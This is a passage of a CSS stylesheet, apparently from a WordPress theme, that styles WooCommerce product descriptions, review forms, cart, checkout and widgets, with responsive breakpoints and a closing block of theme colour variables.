.woocommerce-product-details__short-description h2 {
	font-size: 18px;
}
.woocommerce div.product .entry-summary div[itemprop="description"] h3,
.woocommerce div.product .woocommerce-tabs #tab-description h3,
.woocommerce-product-details__short-description h3 {
	font-size: 17px;
}
.woocommerce div.product .entry-summary div[itemprop="description"] h4,
.woocommerce div.product .woocommerce-tabs #tab-description h4,
.woocommerce-product-details__short-description h4 {
	font-size: 16px;
}
.woocommerce div.product .entry-summary div[itemprop="description"] h5,
.woocommerce div.product .woocommerce-tabs #tab-description h5,
.woocommerce-product-details__short-description h5 {
	font-size: 15px;
}
.woocommerce div.product .entry-summary div[itemprop="description"] h6,
.woocommerce div.product .woocommerce-tabs #tab-description h6,
.woocommerce-product-details__short-description h6 {
	font-size: 14px;
}
.woocommerce div.product .entry-summary div[itemprop="description"] hr,
.woocommerce div.product .woocommerce-tabs #tab-description hr,
.woocommerce-product-details__short-description hr {
	border: 0;
	height: 0;
	border-bottom: 1px solid #dedede;
	clear: both;
}
.woocommerce div.product .entry-summary div[itemprop="description"] blockquote,
.woocommerce div.product .woocommerce-tabs #tab-description blockquote,
.woocommerce-product-details__short-description blockquote {
	padding: 0;
	position: relative;
	margin: 0 0 20px 0;
}
.woocommerce div.product .entry-summary div[itemprop="description"] blockquote,
.woocommerce div.product .woocommerce-tabs #tab-description blockquote,
.woocommerce div.product .entry-summary div[itemprop="description"] blockquote p,
.woocommerce div.product .woocommerce-tabs #tab-description blockquote p,
.woocommerce-product-details__short-description blockquote,
.woocommerce-product-details__short-description blockquote p {
	font-size: 16px;
	color: #888;
	font-style: italic;
	line-height: 1.7;
	text-align: left;
}
.woocommerce div.product .entry-summary div[itemprop="description"] blockquote p,
.woocommerce div.product .woocommerce-tabs #tab-description blockquote p,
.woocommerce-product-details__short-description blockquote p {
	margin: 0;
}
.woocommerce div.product .entry-summary div[itemprop="description"] blockquote,
.woocommerce div.product .woocommerce-tabs #tab-description blockquote,
.woocommerce-product-details__short-description blockquote {
	position: relative;
	padding: 0 0 0 40px;
	border: none !important;
	overflow: hidden;
}
.woocommerce div.product .entry-summary div[itemprop="description"] blockquote:before,
.woocommerce div.product .woocommerce-tabs #tab-description blockquote:before,
.woocommerce-product-details__short-description blockquote:before {
	color: var(--pcaccent-cl);
	content: '\f101';
	font-family: 'penciicon';
	font-size: 22px;
	font-weight: normal;
	line-height: 1;
	font-style: normal;
	position: absolute;
	top: 6px;
	left: 0;
}
.woocommerce div.product .entry-summary div[itemprop="description"] blockquote cite,
.woocommerce div.product .entry-summary div[itemprop="description"] blockquote .author,
.woocommerce div.product .woocommerce-tabs #tab-description blockquote cite,
.woocommerce div.product .woocommerce-tabs #tab-description blockquote .author,
.woocommerce-product-details__short-description blockquote cite,
.woocommerce-product-details__short-description blockquote .author {
	display: block;
	font-size: 12px;
	text-transform: uppercase;
	margin-top: 7px;
	color: var(--pcaccent-cl);
	font-style: normal;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	overflow: hidden;
	text-align: left;
	position: relative;
	z-index: 1;
}
.woocommerce div.product .entry-summary div[itemprop="description"] blockquote .author span,
.woocommerce div.product .woocommerce-tabs #tab-description blockquote .author span,
.woocommerce-product-details__short-description blockquote .author span {
	position: relative;
	display: inline-block;
	padding: 0 10px 0 0;
}
.woocommerce div.product .entry-summary div[itemprop="description"] blockquote .author span:after,
.woocommerce div.product .woocommerce-tabs #tab-description blockquote .author span:after,
.woocommerce-product-details__short-description blockquote .author span:after {
	content: "";
	position: absolute;
	top: 50%;
	width: 90px;
	height: 1px;
	background: var(--pcaccent-cl);
	left: 100%;
	opacity: 0.8;
}
.woocommerce div.product .entry-summary div[itemprop="description"] ul,
.woocommerce div.product .entry-summary div[itemprop="description"] ol,
.woocommerce div.product .woocommerce-tabs #tab-description ul,
.woocommerce div.product .woocommerce-tabs #tab-description ol,
.woocommerce-product-details__short-description ul,
.woocommerce-product-details__short-description ol {
	padding-left: 36px;
	margin-bottom: 20px;
}
.woocommerce div.product .entry-summary div[itemprop="description"] ul ul,
.woocommerce div.product .woocommerce-tabs #tab-description ul ul,
.woocommerce-product-details__short-description ul ul {
	margin: 2px 0;
	padding-left: 22px;
}
.woocommerce div.product .entry-summary div[itemprop="description"] ol ol,
.woocommerce div.product .woocommerce-tabs #tab-description ol ol,
.woocommerce-product-details__short-description ol ol {
	margin: 2px 0;
	padding-left: 32px;
}
.woocommerce div.product .entry-summary div[itemprop="description"] ul li,
.woocommerce div.product .woocommerce-tabs #tab-description ul li,
.woocommerce-product-details__short-description ul li {
	margin-bottom: 7px;
	position: relative;
	list-style-type: square;
	line-height: 1.7;
}
.woocommerce div.product .entry-summary div[itemprop="description"] ol li,
.woocommerce div.product .woocommerce-tabs #tab-description ol li,
.woocommerce-product-details__short-description ol li {
	margin-bottom: 2px;
	list-style: decimal;
}
.woocommerce div.product .entry-summary div[itemprop="description"] table,
.woocommerce div.product .woocommerce-tabs #tab-description table,
.woocommerce-product-details__short-description table {
	width: 100%;
	margin-bottom: 22px;
	border-collapse: collapse;
	border-left: 1px solid #f5f5f5;
	border-right: 1px solid #f5f5f5;
}
.woocommerce div.product .entry-summary div[itemprop="description"] td,
.woocommerce div.product .entry-summary div[itemprop="description"] th,
.woocommerce div.product .woocommerce-tabs #tab-description td,
.woocommerce div.product .woocommerce-tabs #tab-description th,
.woocommerce-product-details__short-description td, th {
	padding: 12px;
	border-bottom: 1px #e9e9e9 solid;
}
.woocommerce div.product .entry-summary div[itemprop="description"] th,
.woocommerce div.product .woocommerce-tabs #tab-description th,
.woocommerce-product-details__short-description th {
	font-weight: bold;
	font-size: 14px;
	background: #f5f5f5;
}
.woocommerce div.product .entry-summary div[itemprop="description"] tr:hover,
.woocommerce div.product .woocommerce-tabs #tab-description tr:hover,
.woocommerce-product-details__short-description tr:hover {
	background: var(--pcbg-cl);
}
.woocommerce #respond input#submit.alt,
.woocommerce a.button.alt,
.woocommerce button.button.alt,
.woocommerce input.button.alt {
	font-size: 13px;
	min-width: 150px;
	padding: 0 15px;
	-moz-transition: all 0.3s;
	-webkit-transition: all 0.3s;
	transition: all 0.3s;
	color: #fff;
	border: none;
	outline: none;
	background: #313131;
}
.woocommerce #respond input#submit.alt:hover,
.woocommerce a.button.alt:hover,
.woocommerce button.button.alt:hover,
.woocommerce input.button.alt:hover {
	background: var(--pcaccent-cl);
	color: #fff;
}
.woocommerce div.product form.cart, .woocommerce div.product p.cart {
	margin-bottom: 30px;
}
.woocommerce div.product p.out-of-stock {
	font-size: 18px;
}
.woocommerce div.product form.cart div.quantity {
	margin-right: 20px;
}
.woocommerce .quantity .qty {
	padding: 3px 5px;
	width: 60px;
	line-height: 32px;
	outline: none;
	border: 1px solid var(--pcborder-cl);
	font-size: 18px;
	font-weight: var(--pchead-wei);
	font-family: var(--pchead-font);
}
.woocommerce div.product .product_meta {
	padding-top: 25px;
	border-top: 1px solid #DEDEDE;
}
.woocommerce div.product .product_meta > span {
	font-size: 14px;
	display: block;
	margin-bottom: 10px;
	color: #888;
}
.woocommerce div.product .product_meta > span a {
	color: #888;
}
.woocommerce div.product .product_meta > span a:hover {
	color: var(--pcaccent-cl);
}
.woocommerce div.product .woocommerce-tabs ul.tabs {
	padding: 0 0 12px 0;
	margin: 0 0 24px 0;
	text-align: center;
	border-bottom: 1px solid #DEDEDE;
}
.woocommerce div.product .woocommerce-tabs ul.tabs:before,
.woocommerce div.product .woocommerce-tabs ul.tabs li:after,
.woocommerce div.product .woocommerce-tabs ul.tabs li:before {
	content: none;
	display: none;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li {
	background: none;
	border: none;
	border-radius: 0;
	-webkit-border-radius: 0;
	-moz-border-radius: 0;
	margin: 0;
	padding: 0 20px;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li a {
	padding: 5px 0;
	font-family: var(--pchead-font);
	font-size: 14px;
	color: #313131;
	text-transform: uppercase;
	font-weight: var(--pchead-wei);
}
.woocommerce div.product .woocommerce-tabs ul.tabs li a:hover {
	color: #888888;
}
.woocommerce div.product .woocommerce-tabs ul.tabs li.active {
	background: none;
	border: none;
	color: var(--pcaccent-cl);
}
.woocommerce div.product .woocommerce-tabs .panel {
	margin-bottom: 50px;
}
.woocommerce div.product .woocommerce-tabs .panel > h2:first-child,
.woocommerce div.product .woocommerce-tabs .panel #reviews #comments h2,
.woocommerce div.product .woocommerce-tabs .panel #respond h3.comment-reply-title,
.woocommerce div.product .woocommerce-tabs .panel #respond .comment-reply-title {
	font-size: 18px;
	color: #313131;
	clear: both;
	letter-spacing: 0;
	line-height: 1.3em;
	margin-bottom: 17px;
	text-transform: uppercase;
	font-weight: var(--pchead-wei);
	text-align: left;
	display: block;
}
.woocommerce div.product .woocommerce-tabs .panel #respond .comment-reply-title {
	margin-top: 24px;
	font-family: var(--pchead-font);
}
.woocommerce #review_form #respond p,
.woocommerce #review_form #respond .comment-form-rating {
	margin-left: 0;
	margin-right: 0;
}
.woocommerce #review_form #respond p.comment-notes {
	opacity: .5;
	color: var(--pctext-cl);
}
.woocommerce #review_form #respond p.comment-form-author {
	margin-right: 20px;
}
.woocommerce div.product .related > h2,
.woocommerce div.product .upsells > h2 {
	font-family: var(--pchead-font);
	font-size: 18px;
	font-weight: var(--pchead-wei);
	position: relative;
	z-index: 10;
	display: block;
	margin-bottom: 30px;
	padding: 0 0 15px;
	text-transform: uppercase;
	color: #313131;
	border-bottom: 1px solid #dedede;
}
.woocommerce div.product form.cart .variations td.label {
	padding-bottom: 15px;
}
.woocommerce div.product form.cart .variations select {
	margin-bottom: 15px;
}
.woocommerce div.product p.stock {
	font-size: 100%;
	margin-bottom: 20px;
}
.woocommerce div.product .woocommerce-tabs .panel #respond p.comment-form-author,
.woocommerce div.product .woocommerce-tabs .panel #respond p.comment-form-email,
.woocommerce div.product .woocommerce-tabs .panel #respond p.comment-form-url {
	width: 100%;
	max-width: 374px;
	padding: 0;
	float: none;
}
.woocommerce #review_form #respond textarea,
.woocommerce div.product .woocommerce-tabs .panel #respond p.comment-form-author input,
.woocommerce div.product .woocommerce-tabs .panel #respond p.comment-form-email input,
.woocommerce div.product .woocommerce-tabs .panel #respond p.comment-form-url input {
	margin: 0;
}
.woocommerce #review_form #respond p.form-submit {
	margin-bottom: 0;
	margin-top: 20px;
	text-align: left;
}
.woocommerce #review_form #respond p.form-submit input[type="submit"] {
	padding: 15px 15px;
	font-size: 14px;
}
.woocommerce .comment-form p.stars a {
	color: #FFCA00;
}
.woocommerce .comment-form p.stars a:hover {
	color: #FFCA00;
}
.woocommerce #reviews #comments ol.commentlist li img.avatar {
	width: 60px;
	border: none;
	border-radius: 50%;
	-webkit-border-radius: 50%;
	-moz-border-radius: 50%;
	padding: 0;
	background: none;
}
.woocommerce #reviews #comments ol.commentlist li .comment-text {
	margin-left: 80px;
	border: 1px solid var(--pcborder-cl);
	padding: 12px 20px;
	border-radius: 0;
	-webkit-border-radius: 0;
	-moz-border-radius: 0;
}
.woocommerce #reviews #comments ol.commentlist li .comment-text .meta {
	margin-bottom: 9px;
	color: #888888;
	font-size: 14px;
}
.woocommerce #reviews #comments ol.commentlist li .comment-text p.meta {
	font-size: 13px;
}
.woocommerce #reviews #comments ol.commentlist li .comment-text .meta strong {
	font-size: 14px;
	color: #313131;
	text-transform: uppercase;
	font-family: var(--pchead-font);
}
.woocommerce #reviews #comments ol.commentlist li .comment-text div[itemprop="description"] > p:last-child {
	margin: 0;
}
.woocommerce .woocommerce-error,
.woocommerce .woocommerce-info,
.woocommerce .woocommerce-message {
	background: var(--pcbg-cl);
	border: 1px solid var(--pcborder-cl);
	border-top: 3px solid var(--pcaccent-cl);
	margin-bottom: 30px !important;
	padding-left: 56px;
}
.woocommerce .woocommerce-error:before, .woocommerce .woocommerce-info:before, .woocommerce .woocommerce-message:before {
	top: 1em;
	margin-top: 3px;
}
.woocommerce ul.cart_list li, .woocommerce ul.product_list_widget li {
	padding: 0 0 15px 0;
	margin: 0 0 15px;
	border-bottom: 1px solid #DEDEDE;
}
.woocommerce .widget_shopping_cart .cart_list li,
.woocommerce.widget_shopping_cart .cart_list li {
	padding-left: 0;
}
.woocommerce ul.cart_list li:last-child, .woocommerce ul.product_list_widget li:last-child {
	padding-bottom: 0;
	margin-bottom: 0;
	border: none;
}
.woocommerce .widget_shopping_cart .total, .woocommerce.widget_shopping_cart .total {
	margin-top: 20px;
	padding-top: 15px;
	font-size: 16px;
}
.woocommerce .widget_shopping_cart p.buttons,
.woocommerce.widget_shopping_cart p.buttons {
	margin-top: 15px;
}
.woocommerce .widget_shopping_cart p.buttons a,
.woocommerce.widget_shopping_cart p.buttons a,
.woocommerce .widget_price_filter .price_slider_amount .button {
	color: #fff;
	background: #313131;
	transition: all 0.3s;
	-webkit-transition: all 0.3s;
	-moz-transition: all 0.3s;
	font-size: 12px;
}
.woocommerce .widget_shopping_cart p.buttons a.checkout,
.woocommerce.widget_shopping_cart p.buttons a.checkout {
	margin-left: 16px;
}
.woocommerce .widget_shopping_cart p.buttons a:hover,
.woocommerce.widget_shopping_cart p.buttons a:hover,
.woocommerce .widget_price_filter .price_slider_amount .button:hover,
.woocommerce div.product form.cart .button:hover {
	opacity: 0.8;
	background: #313131;
	color: #fff;
	text-decoration: none;
}
.woocommerce ul.cart_list li a,
.woocommerce ul.product_list_widget li a {
	font-size: 16px;
	font-weight: var(--pchead-wei);
	margin-bottom: 10px;
	text-decoration: none;
	font-family: var(--pchead-font);
}
.woocommerce ul.cart_list li img,
.woocommerce ul.product_list_widget li img {
	width: 90px;
	margin: 0 20px 0 0;
	float: left;
}
.woocommerce ul.cart_list li .amount,
.woocommerce ul.product_list_widget li .amount {
	font-size: 18px;
	color: var(--pcaccent-cl);
	text-decoration: none;
}
.woocommerce ul.cart_list li del .amount,
.woocommerce ul.product_list_widget li del .amount {
	font-size: 16px;
	color: #ccc;
	margin-right: 5px;
}
.woocommerce ul.product_list_widget li ins,
.woocommerce ul.product_list_widget li ins {
	text-decoration: none;
}
.woocommerce ul.cart_list li .star-rating,
.woocommerce ul.product_list_widget li .star-rating {
	margin-bottom: 10px;
}
.woocommerce .widget_shopping_cart
.cart_list li a.remove,
.woocommerce.widget_shopping_cart
.cart_list li a.remove {
	font-size: 24px;
	line-height: 20px;
	width: 24px;
	height: 24px;
	margin-top: 5px;
	margin-left: 5px;
	text-align: center;
	border: 1px solid #ccc;
}
.woocommerce .widget_price_filter .ui-slider-horizontal {
	height: 6px;
	margin-bottom: 20px;
}
.woocommerce .widget_price_filter .ui-slider .ui-slider-range {
	background-color: #DEDEDE;
}
.woocommerce .widget_price_filter .ui-slider .ui-slider-handle {
	background-color: #313131;
	width: 18px;
	height: 18px;
	top: -6px;
}
.woocommerce .widget_price_filter .price_slider_wrapper .ui-widget-content {
	background-color: #888;
}
.woocommerce .widget_price_filter .price_label {
	color: #888;
	font-size: 14px;
}
.woocommerce .woocommerce-product-search .screen-reader-text {
	display: none;
}
.woocommerce .woocommerce-product-search input[type="submit"] {
	display: none;
}
.woocommerce .woocommerce-product-search input[type="search"] {
	border: 1px solid var(--pcborder-cl);
	padding: 14px 20px 14px 20px;
}
.woocommerce table.shop_table {
	border: none;
	border-collapse: collapse;
	margin: 0 0 27px 0;
}
.woocommerce table.shop_table th {
	padding: 0 0 15px 0;
	font-weight: var(--pchead-wei);
	text-transform: uppercase;
	color: #313131;
	background: none;
	font-size: 14px;
	font-family: var(--pchead-font);
}
.woocommerce table.shop_table td {
	padding: 30px 0;
	border-color: var(--pcborder-cl);
	border-bottom: none;
}
.woocommerce-cart table.cart img {
	width: 90px;
}
.woocommerce table.shop_table a.remove {
	width: 30px;
	height: 30px;
	border: 1px solid var(--pcborder-cl);
	color: #dedede !important;
	border-radius: 50%;
	-webkit-border-radius: 50%;
	-moz-border-radius: 50%;
	background: none !important;
	line-height: 26px;
	font-size: 26px;
	text-decoration: none;
}
.woocommerce table.shop_table a.remove:hover {
	color: #ff0000 !important;
}
.woocommerce table.shop_table td.product-name a {
	font-size: 16px;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	color: #313131;
	text-decoration: none;
}
.woocommerce table.shop_table td.product-name a:hover {
	color: var(--pcaccent-cl);
}
.woocommerce table.shop_table td.product-price span,
.woocommerce table.shop_table td.product-subtotal span {
	font-size: 18px;
	color: var(--pcaccent-cl);
}
.woocommerce table.shop_table .quantity .qty {
	line-height: 28px;
}
.woocommerce-cart table.cart td.actions .coupon .input-text {
	border: 1px solid #e9e9e9;
	padding: 12px 20px 11px;
	font-family: var(--pcbody-font);
	font-size: 12px;
	color: #313131;
	min-width: 150px;
	margin-right: 20px;
}
.woocommerce-cart table.cart input[type="submit"] {
	padding: 13px 20px 13px;
	font-size: 13px;
	background: #313131;
	color: #fff;
	transition: all 0.3s;
	-webkit-transition: all 0.3s;
	-moz-transition: all 0.3s;
}
.woocommerce-cart .woocommerce input.button[name="update_cart"] {
	color: #ffffff;
	background: #313131;
	opacity: 1;
	padding: 13px 20px 13px;
}
.woocommerce-cart .woocommerce input.button[name="update_cart"]:hover,
.woocommerce-cart table.cart input[type="submit"]:hover {
	background: #313131;
	color: #fff;
	opacity: 0.8;
}
.woocommerce .woocommerce-cart-form .cart .button[name="apply_coupon"],
.woocommerce .woocommerce-cart-form .cart button.button:disabled,
.woocommerce .woocommerce-cart-form .cart button.button:disabled[disabled] {
	padding: 13px 20px;
	line-height: 14px;
}
.woocommerce .cart-collaterals .cart_totals,
.woocommerce-page .cart-collaterals .cart_totals {
	width: 100%;
}
.woocommerce .cart-collaterals .cart_totals h2,
.woocommerce-page .cart-collaterals .cart_totals h2 {
	font-size: 16px;
	text-transform: uppercase;
}
.woocommerce-cart .cart-collaterals .cart_totals table {
	border-collapse: collapse;
	border: 1px solid var(--pcborder-cl);
	padding: 0 30px;
}
.woocommerce-cart .cart-collaterals .cart_totals table td,
.woocommerce-cart .cart-collaterals .cart_totals table th {
	background: none;
	padding: 15px 0;
}
.woocommerce-cart .cart-collaterals .cart_totals table td .amount {
	font-size: 18px;
	color: var(--pcaccent-cl);
}
.woocommerce-cart .cart-collaterals .cart_totals .form-row {
	padding: 0;
	margin-bottom: 15px;
}
.woocommerce-shipping-calculator p {
	margin-bottom: 10px;
}
.woocommerce-cart .cart-collaterals .cart_totals table .shipping-calculator-form select {
	padding: 5px;
	max-width: 400px;
	width: 100%;
}
.woocommerce-cart .cart-collaterals .cart_totals table .shipping-calculator-form input[type="text"],
.woocommerce-cart .cart-collaterals .cart_totals table .shipping-calculator-form input[type="date"],
.woocommerce-cart .cart-collaterals .cart_totals table .shipping-calculator-form input[type="number"],
.woocommerce-cart .cart-collaterals .cart_totals table .shipping-calculator-form input[type="search"] {
	max-width: 400px;
	padding: 8px;
}
.woocommerce .woocommerce-info:before {
	color: var(--pcaccent-cl);
	top: 1em;
}
.woocommerce-cart .cart-collaterals .cart_totals table .shipping-calculator-form button[type="submit"] {
	padding: 14px 20px;
	color: #fff;
	background: #313131;
	transition: all 0.3s;
	-webkit-transition: all 0.3s;
	-moz-transition: all 0.3s;
}
.woocommerce-cart .cart-collaterals .cart_totals table .shipping-calculator-form button[type="submit"]:hover {
	background: #313131;
	color: #fff;
	opacity: 0.8;
}
.woocommerce-cart .wc-proceed-to-checkout a {
	display: inline-block !important;
	padding-left: 20px !important;
	padding-right: 20px !important;
	background: #313131 !important;
	color: #fff !important;
	transition: all 0.3s;
	-webkit-transition: all 0.3s;
	-moz-transition: all 0.3s;
}
.woocommerce-cart .wc-proceed-to-checkout a:hover {
	opacity: 0.8;
}
.woocommerce form.checkout_coupon,
.woocommerce form.login,
.woocommerce form.register {
	border-radius: 0;
	border: 1px solid var(--pcborder-cl);
}
.woocommerce form .form-row .input-text,
.woocommerce-page form .form-row .input-text {
	line-height: 38px;
	padding: 0 20px;
	color: #313131;
	border: 1px solid var(--pcborder-cl);
}
p.lost_password {
	margin-bottom: 0 !important;
}
.woocommerce form.login .form-row {
	margin-bottom: 20px;
}
.woocommerce form .form-row input[type="submit"],
.woocommerce .return-to-shop .button {
	background: #313131;
	color: #fff;
	padding: 15px 20px;
}
.woocommerce form .form-row input[type="submit"]:hover,
.woocommerce .return-to-shop .button:hover {
	opacity: 0.8;
	background: #313131;
	color: #fff;
}
.woocommerce form.login .form-row input[type="submit"] {
	margin-right: 20px;
}
.woocommerce form.checkout .form-row {
	margin-bottom: 20px;
	padding: 0;
}
.woocommerce form .form-row {
	padding-left: 0;
	padding-right: 0;
}
.woocommerce form.checkout h3 {
	font-size: 16px;
	text-transform: uppercase;
}
.woocommerce form.checkout h3#order_review_heading {
	margin-top: 28px;
}
.woocommerce form.checkout table.shop_table {
	border: 1px solid var(--pcborder-cl);
}
.woocommerce form.checkout table.shop_table th,
.woocommerce form.checkout table.shop_table td {
	padding: 15px 30px;
}
.woocommerce form.checkout table.shop_table .amount {
	font-size: 16px;
}
.woocommerce form.checkout table.shop_table .order-total .amount {
	color: var(--pcaccent-cl);
}
.woocommerce-checkout #payment {
	background: none;
	border-radius: 0;
	-webkit-border-radius: 0;
	-moz-border-radius: 0;
}
.woocommerce-checkout #payment ul.payment_methods {
	padding: 30px;
	border: 1px solid var(--pcborder-cl);
}
.woocommerce-checkout #payment ul.payment_methods li {
	list-style: none !important;
}
.woocommerce-checkout #payment div.form-row.place-order {
	padding: 0;
	margin-top: 30px;
	margin-bottom: 0;
}
.woocommerce-checkout #payment div.payment_box {
	background: none;
	color: #888;
	padding: 0;
}
.woocommerce-checkout #payment div.payment_box:before {
	content: none;
	display: none;
}
.woocommerce #payment #place_order,
.woocommerce-page #payment #place_order {
	float: left;
}
.woocommerce form.lost_reset_password .form-row input[type="submit"],
.woocommerce form.register .form-row input[type="submit"] {
	margin-top: 20px;
}
section.related.products {
	clear: both;
}
@media only screen and (min-width: 961px) and (max-width: 1169px) {
	.woocommerce ul.products li.product h3,
	.woocommerce ul.products li.product .price ins,
	.woocommerce ul.products li.product .price,
	.woocommerce ul.cart_list li .amount,
	.woocommerce ul.product_list_widget li .amount {
		font-size: 16px;
	}
	.woocommerce div.product .product_title {
		font-size: 24px;
	}
}
@media only screen and (max-width: 960px) {
	.woocommerce div.product .product_title {
		font-size: 24px;
	}
}
@media only screen and (min-width: 768px) and (max-width: 960px) {
	.woocommerce ul.products.columns-5 li.product,
	.woocommerce-page ul.products.columns-5 li.product,
	.woocommerce ul.products.columns-4 li.product,
	.woocommerce-page ul.products.columns-4 li.product {
		width: 30.769%;
		margin-right: 3.8465%;
	}
	.woocommerce ul.products li.first, .woocommerce-page ul.products li.first,
	.woocommerce ul.products.columns-4 > li.product:nth-child( 4n+1 ),
	.woocommerce-page ul.products.columns-4 > li.product:nth-child( 4n+1 ) {
		clear: none;
	}
	.woocommerce ul.products.columns-5 > li.product:nth-child( 3n+1 ),
	.woocommerce-page ul.products.columns-5 > li.product:nth-child( 3n+1 ),
	.woocommerce ul.products.columns-4 > li.product:nth-child( 3n+1 ),
	.woocommerce-page ul.products.columns-4 > li.product:nth-child( 3n+1 ) {
		clear: both;
	}
	.woocommerce ul.products.columns-5 > li.product:nth-child( 4n+4 ),
	.woocommerce-page ul.products.columns-5 > li.product:nth-child( 4n+4 ),
	.woocommerce ul.products.columns-4 > li.product:nth-child( 4n+4 ),
	.woocommerce-page ul.products.columns-4 > li.product:nth-child( 4n+4 ) {
		margin-right: 3.8465%;
	}
	.woocommerce ul.products.columns-5 > li.product:nth-child( 3n+3 ),
	.woocommerce-page ul.products.columns-5 > li.product:nth-child( 3n+3 ),
	.woocommerce ul.products.columns-4 > li.product:nth-child( 3n+3 ),
	.woocommerce-page ul.products.columns-4 > li.product:nth-child( 3n+3 ) {
		margin-right: 0;
	}
}
@media only screen and (max-width: 767px) {
	.woocommerce .penci_sidebar #content div.product div.images,
	.woocommerce .penci_sidebar div.product div.images,
	.woocommerce-page .penci_sidebar #content div.product div.images,
	.woocommerce-page .penci_sidebar div.product div.images,
	.woocommerce .penci_sidebar #content div.product div.summary,
	.woocommerce .penci_sidebar div.product div.summary,
	.woocommerce-page .penci_sidebar #content div.product div.summary,
	.woocommerce-page .penci_sidebar div.product div.summary,
	.woocommerce #content div.product div.images,
	.woocommerce div.product div.images,
	.woocommerce-page #content div.product div.images,
	.woocommerce-page div.product div.images,
	.woocommerce #content div.product div.summary,
	.woocommerce div.product div.summary,
	.woocommerce-page #content div.product div.summary,
	.woocommerce-page div.product div.summary {
		width: 100% !important;
		float: none;
	}
	.woocommerce div.product .woocommerce-tabs ul.tabs li {
		display: block;
		margin-bottom: 10px;
	}
	.woocommerce ul.products li.product,
	.woocommerce-page ul.products li.product,
	.woocommerce ul.products.columns-4 li.product,
	.woocommerce-page ul.products.columns-4 li.product,
	.woocommerce .penci_sidebar ul.products.columns-4 li.product,
	.woocommerce-page .penci_sidebar ul.products.columns-4 li.product {
		width: 48%;
		margin-right: 4%;
	}
	.woocommerce .penci_sidebar ul.products.columns-4 > li.product:nth-child( 3n+1 ),
	.woocommerce-page .penci_sidebar ul.products.columns-4 > li.product:nth-child( 3n+1 ) {
		clear: none;
	}
	.woocommerce .penci_sidebar ul.products.columns-4 > li.product:nth-child( 3n+3 ),
	.woocommerce-page .penci_sidebar ul.products.columns-4 > li.product:nth-child( 3n+3 ) {
		margin-right: 4%;
	}
	.woocommerce ul.products li.product:nth-child(2n+2),
	.woocommerce-page ul.products li.product:nth-child(2n+2),
	.woocommerce ul.products.columns-4 li.product:nth-child(2n+2),
	.woocommerce-page ul.products.columns-4 li.product:nth-child(2n+2),
	.woocommerce .penci_sidebar ul.products.columns-4 > li.product:nth-child( 2n+2 ),
	.woocommerce-page .penci_sidebar ul.products.columns-4 > li.product:nth-child( 2n+2 ) {
		margin-right: 0;
	}
	.woocommerce ul.products li.product:nth-child(2n+1),
	.woocommerce-page ul.products li.product:nth-child(2n+1),
	.woocommerce ul.products.columns-4 li.product:nth-child(2n+1),
	.woocommerce-page ul.products.columns-4 li.product:nth-child(2n+1),
	.woocommerce .penci_sidebar ul.products.columns-4 > li.product:nth-child( 2n+1 ),
	.woocommerce-page .penci_sidebar ul.products.columns-4 > li.product:nth-child( 2n+1 ) {
		clear: both;
	}
	.woocommerce ul.products li.product h3,
	.woocommerce ul.products li.product .price ins,
	.woocommerce ul.products li.product .price,
	.woocommerce ul.cart_list li .amount,
	.woocommerce ul.product_list_widget li .amount,
	.woocommerce table.shop_table td.product-price span,
	.woocommerce table.shop_table td.product-subtotal span,
	.woocommerce-cart .cart-collaterals .cart_totals table td .amount {
		font-size: 16px;
	}
	.woocommerce table.cart td.actions .button,
	.woocommerce table.cart td.actions input,
	.woocommerce-page table.cart td.actions .button,
	.woocommerce-page table.cart td.actions input {
		width: auto;
	}
	.woocommerce #reviews #comments ol.commentlist li img.avatar {
		display: none;
	}
	.woocommerce #reviews #comments ol.commentlist li .comment-text {
		margin-left: 0;
	}
}
@media only screen and (max-width: 479px) {
	.woocommerce ul.products li.product,
	.woocommerce-page ul.products li.product,
	.woocommerce .penci_sidebar ul.products li.product,
	.woocommerce-page .penci_sidebar ul.products li.product {
		width: 100% !important;
		margin-right: 0 !important;
	}
	.woocommerce div.product .woocommerce-tabs .panel #respond p.comment-form-author,
	.woocommerce div.product .woocommerce-tabs .panel #respond p.comment-form-email,
	.woocommerce div.product .woocommerce-tabs .panel #respond p.comment-form-url {
		max-width: 300px;
	}
	.woocommerce table.shop_table th {
		font-size: 12px;
	}
	.woocommerce table.shop_table .quantity .qty {
		width: 46px;
		font-size: 14px;
	}
	.woocommerce-cart table.cart td.actions .coupon .input-text {
		width: 48%;
		margin-right: 0;
		margin-bottom: 20px;
	}
	.woocommerce table.shop_table a.remove {
		width: 20px;
		height: 20px;
		line-height: 18px;
		font-size: 20px;
	}
	.woocommerce table.shop_table td.product-name a {
		font-size: 14px;
		padding-left: 5px;
	}
}
/*************************************
 * Reset
 ************************************/
body {
	--pc-woo-quick-view-width: 960px;
	--pccat_tt_cl: var(--pctext-cl);
	--pccat_price_cl: var(--pcaccent-cl);
	--pccat_cat_cl: var(--pcmeta-cl);
	--pccat_cat_hv_cl: var(--pctext-cl);
	--pccat_btn_groups_bgcl: #fff;
	--pccat_btn_cl: var(--pctext-cl);
	--pccat_progress_bg_cl: #dedede;
	--pccat_progress_active_bg_cl: var(--pcaccent-cl);
	--pccat_progress_height: 7px;
	--pcpage_gtext_cl: var(--pctext-cl);
	--pcpage_glink_cl: var(--pcaccent-cl);
	--pcpage_glink_hv_cl: var(--pcaccent-cl);
	--pcpage_gbdr_cl: var(--pcborder-cl);
	--pcpage_btns_bdr_cl: var(--pcborder-cl);
	--pcpage_btns_bdr_hv_cl: var(--pcaccent-cl);
	--pcpage_btns_bg_cl: var(--pcaccent-cl);
	--pcpage_btns_bg_hv_cl: var(--pcaccent-cl);
	--pcpage_btn_atc_bg_cl: #000;
	--pcpage_btn_atc_bg_hv_cl: var(--pctext-cl);
	--pcpage_meta_cl: var(--pcmeta-cl);
	--pcpage_meta_link_cl: var(--pcmeta-cl);
	--pcpage_meta_link_hv_cl: var(--pctext-cl);
	--pcpage_tab_tt_cl: var(--pcmeta-cl);
	--pcpage_tab_tt_active_cl: var(--pctext-cl);
	--pcwp_tt_cl: var(--pctext-cl);
	--pcwp_btn_bg_cl: var(--pcaccent-cl);
	--pcwp_btn_bg_hv_cl: var(--pcaccent-cl);
	--pcwp_btn_alt_bg_cl: var(--pcmeta-cl);
	--pcwp_btn_alt_bg_hv_cl: var(--pcaccent-cl);
	--pcwc_ckout_inner_bg: #f1f1f1;
	--pcsl_tt_fs: 15px;
	--pcsl_tt_m_fs: 15px;
	--pcsl_tt_l_fs: var(--pcsl_tt_fs);
